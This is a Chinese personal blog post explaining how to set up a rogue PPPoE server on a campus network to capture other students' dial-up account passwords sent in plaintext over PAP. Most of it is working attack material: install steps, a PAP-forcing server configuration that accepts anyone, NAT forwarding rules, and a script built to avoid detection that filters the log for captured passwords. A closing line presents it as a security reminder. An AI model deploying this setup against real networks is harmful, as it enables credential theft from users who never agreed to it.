您现在的位置: Tracy‘Blog > 博客 > Linux > 正文
Linux下架设PPPOE服务器

        无意间发现了学校用的是PAP作为拨号验证的协议,于是想起以前做过但没成功的一件事,就是伪造PPPOE服务器来与拨号客户端进行通行,从而获得账号密码。

        其实也算不上说以前没成功,只是,当时只能获取同一寝室的账号,也就没什么意思,就没继续下去了。

        原理是这样的,我们先来了解PPPOE拨号的大体过程:

        百度百科告诉我们:

         PPPoE协议的工作流程包含发现和会话两个阶段,发现阶段是无状态的,目的是获得PPPoE终结端(在局端的ADSL设备上)的以太网MAC地址,并建立一个唯一的PPPoE SESSION-ID。发现阶段结束后,就进入标准的PPP会话阶段。

         当一个主机想开始一个PPPoE会话,它必须首先进行发现阶段,以识别局端以太网MAC地址,并建立一个PPPoE SESSION-ID。在发现阶段,基于网络的拓扑,主机可以发现多个接入集中器,然后允许用户选择一个。当发现阶段成功完成,主机和选择的接入集中器都有了他们在以太网上建立PPP连接的信息。直到PPP会话建立,发现阶段一直保持无状态的Client/Server(客户/服务器)模式。一旦PPP会话建立,主机和接入集中器都必须为PPP虚接口分配资源。

        说人话就是:客户端在建立PPPOE会话前,先广播一个数据包,查询谁是服务器。就相当于我们在人群中大喊一句,你们谁是XXX啊?然后,XXX就给出回应。

        于是,问题也就来了:如果,一个网络中,有多个服务器,客户端应该找谁呢?

        百度也告诉我们:“在发现阶段,基于网络的拓扑结构客户端可以发现多个PPPoE服务器,然后从中选择一个,不过通常都是选择反应最快的一个。”(其实这个分析,在我的《校园网那些事》中也有写到,这里就当是再次补充吧)

        好,我们现在知道原理了,下面就开始验证吧。

1、先看看自己有没装上rp-pppoe。

rpm -q rp-pppoe


没有的话,就下载安装,地址:http://www.roaringpenguin.com/products/pppoe

 编译、安装的步骤:

解压:tar -zxvf rp-pppoe-3.10.tar.gz

 cd rp-pppoe-3.10/src

./configure

make
make install

2、修改配置文件

修改/etc/sysctl.conf文件,添加下面这条语句:

net.ipv4.ip_forward = 1

然后用sysctl -p使其生效

3、修改PPPOE身份验证方式

修改/etc/ppp/pppoe-server-options,全部内容如下:

# PPP options for the PPPoE server

#这四句最重要

login   #使用调试模式的话,就应该是debug,就是不用pap-secrets,或chap-secrets,中的账号密码进行验证

logfile /var/log/pppoe.log        #   记录日志到/var/log/pppoe.log

require-pap       #使用pap验证协议,如果使用chap验证协议,则此行为 require-chap  。

lcp-echo-interval 30   #认证间隔时间30s

lcp-echo-failure 3     #最大验证次数 3次

ms-dns 202.96.134.133       #分配给客户端的DNS   其实可以不用设置

ms-dns 202.96.128.68

mru 1480         #最大接收单元
mtu 1480         #最大传输单元

4、添加身份验证账户

修改/etc/ppp/pap-secrets,添加账户     #如果使用chap验证,则修改/etc/ppp/chap-secrets

username * password *

当然,我们这里应该要允许所有人都成功拨号,所以,我们写上这么一句:

“” “” × “”

意思是允许所有人

5、启动pppoe服务器

pppoe-server -I eth0 -L 192.168.0.1 -R 192.168.0.5 -N 10

-I eth0       指定pppoe服务器在那个网卡接口监听连接请求

-L 192.168.0.1       指定pppoe服务器的ip地址。(注意:此IP地址不是网卡的IP地址,而是PPPOE服务器的虚拟IP)

-R 192.168.0.5       pppoe服务器分配给客户端的IP地址,从192.168.0.5开始,递增

-N 10       指定最多可以连接pppoe服务器的客户端数量

6、设置防火墙,实现路由转发。

iptables -t nat -F
iptables -t nat -L
iptables -t nat -A POSTROUTING -o ppp0 -j SNAT --to $ip   #ip是你要仞分享网络的ip   ,ppp0是你要分享网络的适配器

7、关闭PPPOE服务器

killall pppoe-server

        这样,你的PPPOE-SERVER就搭建好了,当然,为了方便,我用了以下几个脚本。
poe-ser.sh
#!/bin/bash

#自动获取每次拨号获得的ip,建立转发路由。这样做的目的是,不让别人发现,当然,你是真实服务器的话,只要把iptables写入你的启动脚本你可以了。
ip=`ifconfig | grep 'inet addr:'|grep -v '127.0.0.1'|grep -v 'Bcast'|cut -d: -f2 | awk '{print $1}'`;
pppoe-server -I eth0 -L 113.250.159.1 -R 113.250.159.2 -N 50 -k
iptables -t nat -F
iptables -t nat -L
iptables -t nat -A POSTROUTING -o ppp0 -j SNAT --to $ip
tail -f /var/log/pppoe.log | grep password     #动态显示你获得的账号密码
        
pshut.sh
#!/bin/bash
killall pppoe-server

        把这两个放入我们的bin目录下,chmod +x 让它们有运行权限,这样,我们就可以直接poe-ser.sh启用,pshut.sh关闭了。

Linux PPPoE配置备注:

1、如果使用pap验证方式,windowsxp以上系统自带的pppoe拨号,无法拨通。可能原因是pap使用明文密码验证,而windows保存的密码是加密的,而且是不可恢复的加密,所以windows无法提供密码明文。

2、/etc/ppp/pppoe-server-options和/etc/ppp/options,配置无论写在哪个文件中,都能够起到作用


        还想说一句,就是,这样子,你所有的流量都是通过我这里出去的,那么,要是你在登录一些需要输入密码的网站时,你的账号密码,是同样可以被截获到的,所以,谨以此文,提醒大家,多了解一些网络安全方面的知识~

          好吧,就到这了,晚安~

                                                                      ——Tracy      2013-11-05    01:55


发表评论(0)
姓名 *
电子邮件
QQ
评论内容 *
验证码 *图片看不清?点击重新得到验证码请输入图片后链接字符‘a’